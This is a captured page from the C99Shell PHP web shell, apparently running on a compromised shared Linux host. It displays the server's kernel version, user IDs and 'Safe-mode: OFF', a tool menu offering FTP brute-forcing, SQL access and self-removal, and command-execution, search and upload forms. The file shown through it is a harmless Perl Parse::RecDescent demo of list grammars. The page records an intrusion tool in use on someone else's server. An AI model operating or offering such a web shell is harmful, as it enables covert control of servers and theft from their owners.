!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/libparse-recdescent-perl/examples/   drwxr-xr-x
Free 712.78 GB of 879.6 GB (81.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     demo_quicklist.pl (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

use Parse::RecDescent;

#$RD_TRACE=1;
#$RD_HINT=1;

my $parser = Parse::RecDescent->new(<<'EOG') or die;

    list1N_c:    term(s /,/)
    list1N_s:    term(s /\/+/)

    list0N_c:    term(s? /,/)
    list0N_s:    term(s? /\/+/)

    list01_c:    term(? /,/)
    list01_s:    term(? /\/+/)

    list2_c:    term(2 /,/)
    list2_s:    term(2 /\/+/)

    list02_c:    term(0..2 /,/)
    list02_s:    term(0..2 /\/+/)

    list2N_c:    term(2.. /,/)
    list2N_s:    term(2.. /\/+/)

    list13_c:    term(..3 /,/)
    list13_s:    term(..3 /\/+/)

    term: 't'
EOG

while (<DATA>)
{
    print;
    print "\tlist1N_c:\t", @{$parser->list1N_c($_)||['undef']}, "\n";
    print "\tlist1N_s:\t", @{$parser->list1N_s($_)||['undef']}, "\n";

    print "\tlist0N_c:\t", @{$parser->list0N_c($_)||['undef']}, "\n";
    print "\tlist0N_s:\t", @{$parser->list0N_s($_)||['undef']}, "\n";

    print "\tlist01_c:\t", @{$parser->list01_c($_)||['undef']}, "\n";
    print "\tlist01_s:\t", @{$parser->list01_s($_)||['undef']}, "\n";

    print "\tlist2_c:\t", @{$parser->list2_c($_)||['undef']}, "\n";
    print "\tlist2_s:\t", @{$parser->list2_s($_)||['undef']}, "\n";

    print "\tlist02_c:\t", @{$parser->list02_c($_)||['undef']}, "\n";
    print "\tlist02_s:\t", @{$parser->list02_s($_)||['undef']}, "\n";

    print "\tlist2N_c:\t", @{$parser->list2N_c($_)||['undef']}, "\n";
    print "\tlist2N_s:\t", @{$parser->list2N_s($_)||['undef']}, "\n";

    print "\tlist13_c:\t", @{$parser->list13_c($_)||['undef']}, "\n";
    print "\tlist13_s:\t", @{$parser->list13_s($_)||['undef']}, "\n";

    print "-----\n";
}

__DATA__

t
t,t
t,t,t
t,t,t,t
t
t/t
t/t//t
t/t///t/t

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0729 ]--